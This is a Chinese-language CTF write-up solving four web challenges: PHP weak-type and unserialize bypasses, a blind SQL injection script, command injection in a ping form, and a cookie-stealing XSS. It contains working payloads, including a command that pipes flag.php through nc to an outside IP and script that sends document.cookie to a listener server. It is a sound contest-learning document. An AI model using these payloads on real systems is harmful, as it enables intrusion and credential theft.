0x00 前言 比赛地址: http://3.17.26.191/
时间: 星期五, 三月 29, 11:30 PM (23:00) — 星期六, 三月 30, 11:30 PM (23:00)
0x01 EasyPhp 此题共分为以下三步:
关于PHP 0e[0-9]+格式md5的弱类型校验
1 2 3 4 5 6 7 8 9 10 11 12 $str1 = $_GET['1' ]; if (isset ($_GET['1' ])){ if ($str1 == md5($str1)){ echo $flag1; } else { die (); } } else { die (); }
关于PHP hash函数的弱类型校验=>数组形式2[]=1&3[]=2使其返回null进而弱类型相等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $str2 = $_GET['2' ]; $str3 = $_GET['3' ]; if (isset ($_GET['2' ]) && isset ($_GET['3' ])){ if ($str2 !== $str3){ if (hash('md5' , $salt . $str2) == hash('md5' , $salt . $str3)){ echo $flag2; } else { die (); } } else { die (); } } else { die (); }
PHP的序列化与反序列的引用类型 题目的源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 class Secrets { var $temp; var $flag; } if (isset ($_GET['4' ])) { $str4 = $_GET['4' ]; if (get_magic_quotes_gpc()){ $str4=stripslashes($str4); } $res = unserialize($str4); if ($res) { $res->flag=$flag3; if ($res->flag === $res->temp) echo $res->flag; else die (); } else die (); }
我们看如下两个例子
1 2 3 4 5 <?php $str4 = 'O:7:"Secrets":3:{s:4:"temp";N;s:4:"test";i:100;s:4:"flag";R:3;}' ; $res = unserialize($str4); print_r($res); ?>
结果
1 2 3 4 5 6 7 __PHP_Incomplete_Class Object ( [__PHP_Incomplete_Class_Name] => Secrets [temp] => [test] => 100 [flag] => 100 )
1 2 3 4 5 <?php $str4 = 'O:7:"Secrets":3:{s:4:"temp";N;s:4:"test";i:100;s:4:"flag";R:2;}' ; $res = unserialize($str4); print_r($res); ?>
结果
1 2 3 4 5 6 7 __PHP_Incomplete_Class Object ( [__PHP_Incomplete_Class_Name] => Secrets [temp] => [test] => 100 [flag] => )
所以我们可以使用反序列化中的引用类型来绕过此处的校验 payload
1 O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}
0x02 Set Me Free 使用Python3.7编写的具有二分查找功能的sql盲注脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from urllib import request, parseimport sys, math def send (query) : data = parse.urlencode({ 'username' : "') and if((%s),1,0) #" % query }).encode() req = request.Request('http://3.16.68.122/smf/register.php' , data = data) req.get_method = lambda : 'POST' res = request.urlopen(req).read().decode() return res.find('User Not Registered' ) != -1 ; def greater_than_or_equal (query, i) : return send('%s >= %d' % (query, i)); def equal (query, i) : return send('%s = %d' % (query, i)); def search (query) : min_val = 0 max_val = 128 while min_val + 1 < max_val: mid = math.floor((min_val + max_val) / 2 ) if greater_than_or_equal(query, mid): min_val = mid else : max_val = mid if not equal(query, min_val): return search(query) return min_val def get_length (query) : return search('length((%s))' % query) def get_and_print_content (query, length) : content = '' for i in range(length): content += chr(search('ord(substr((%s), %d, 1))' % (query, i + 1 ))) sys.stdout.write('\r[%s] %s%s' % (length, content, '_' * (length - len(content)))) print('' ) return content if __name__ == '__main__' : arg = ' ' .join(sys.argv[1 :]) content_len = get_length(arg) get_and_print_content(arg, content_len)
参考:https://posix.tistory.com/84
0x03 PingService 源码泄露http://3.17.167.161/PingService/helper.php~
题目源代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php function getIP () { if (@$_SERVER["HTTP_X_FORWARDED_FOR" ]){ $ip = $_SERVER["HTTP_X_FORWARDED_FOR" ]; }else if (@$_SERVER["HTTP_CLIENT_IP" ]){ $ip = $_SERVER["HTTP_CLIENT_IP" ]; }else if (@$_SERVER["REMOTE_ADDR" ]){ $ip = $_SERVER["REMOTE_ADDR" ]; }else if (@getenv("HTTP_X_FORWARDED_FOR" )){ $ip = getenv("HTTP_X_FORWARDED_FOR" ); }else if (@getenv("HTTP_CLIENT_IP" )){ $ip = getenv("HTTP_CLIENT_IP" ); }else if (@getenv("REMOTE_ADDR" )){ $ip = getenv("REMOTE_ADDR" ); }else { $ip = "Unknown" ; } return $ip; } function clean ($data) { if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m' , $data))) { die ('<center><h2 style="color:red;">Shoo Go Away heckermen... Thats not an IP Address</h2></center>' ); } $black_list = array ('"' , "'" , " " ,"\n" ); foreach ($black_list as $key) { $data = str_replace($key, '' , $data); } return $data; } ?>
根据clean函数可以看出应该可能存在blind rce。根据getIP函数的内容,我们首先修改X-Forwarder-For字段为127.0.0.1之后返回了源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php require_once('helper.php'); if (getIP() != "127.0.0.1"){ ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <link href="./main.css" media="all" rel="stylesheet" type="text/css"/> </head> <body> <?php die("Oye! This service is only for local client"); ?> </body> </html> <?php }else{ ?> <html> <head> <meta charset="utf-8"> <link href="./main.css" media="all" rel="stylesheet" type="text/css"/> </head> <body> <div class="login"> <div class="login-screen"> <div class="app-title"> <h1>Ping Service</h1> </div> <form action="" method="post"> <div class="login-form"> <div class="control-group"> <input type="text" class="login-field" placeholder="8.8.8.8" id="ip" name="ip"> <label class="login-field-icon fui-user" for="login-form"></label> </div> <button type="submit" class="btn btn-primary btn-large btn-block">Submit</button> </div> </form> </div> </div> </body> </html> <?php if(!isset($_POST['ip'])){ highlight_file(__FILE__); } else if(isset($_POST['ip'])) { $ip = $_POST['ip']; $ip = 'ping -c 1 '.clean($ip); $res = str_replace("\n", "</br>\n", shell_exec($ip)); if(strpos($res, "100% packet loss")!==false){ echo "<center> <h2 style='color:red'>Not Alive </h2></center>"; } else{ echo "<center> <h2 style='color:yellow'>Alive </h2></center>"; } } } ?>
从源代码上已经确定是rce的一种利用,从clean函数中看到过滤了空格,但是我们可以使用${IFS}
来bypass
最终的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /PingService/ HTTP/1.1 Host: 3.17.167.161 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://3.17.167.161/PingService/ Content-Type: application/x-www-form-urlencoded Content-Length: 68 Connection: close Upgrade-Insecure-Requests: 1 x-forwarded-for:127.0.0.1 ip=8.8.8.8%0a;cat${IFS%?}flag.php|nc${IFS%?}47.90.204.28${IFS%?}2233
返回的结果
1 2 3 <?php $flag = 'b00t2root{mr.s74rk_1_d0nt_feel_s0_g00d}' ; ?>
0x04 eXquisite Scenery Sites IP转inthttp://www.bejson.com/convert/ip2int/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /Web-2/contact.php HTTP/1.1 Host: 18.218.187.241 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://18.218.187.241/Web-2/contact.php Content-Type: application/x-www-form-urlencoded Content-Length: 100 Connection: close Cookie: PHPSESSID=008185861a14c247da3b48a088fc8a75 Upgrade-Insecure-Requests: 1 user=test&Message=<sCript>document['location']='http://794479644:51/?'%2Bdocument['cookie']</Script>
这次使用一句话服务器却怎么也接受不到bot发过来的请求,之后使用如下脚本就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flask, requestxss = Flask(__name__) @xss.route('/') def index () : flag = request.args for i,j in flag.items(): print('Flag is:' + j) return str() if __name__ == "__main__" : xss.run(host="0.0.0.0" ,port=51 )
flag
1 2 3 [root@zeros ~]# python xssflag.py * Running on http://0.0.0.0:51/ (Press CTRL+C to quit) Flag is:b00t2root{why_y0u_st34l_my_c00ki3s?}; PHPSESSID=up8133i9r901kr52r93v5um0vf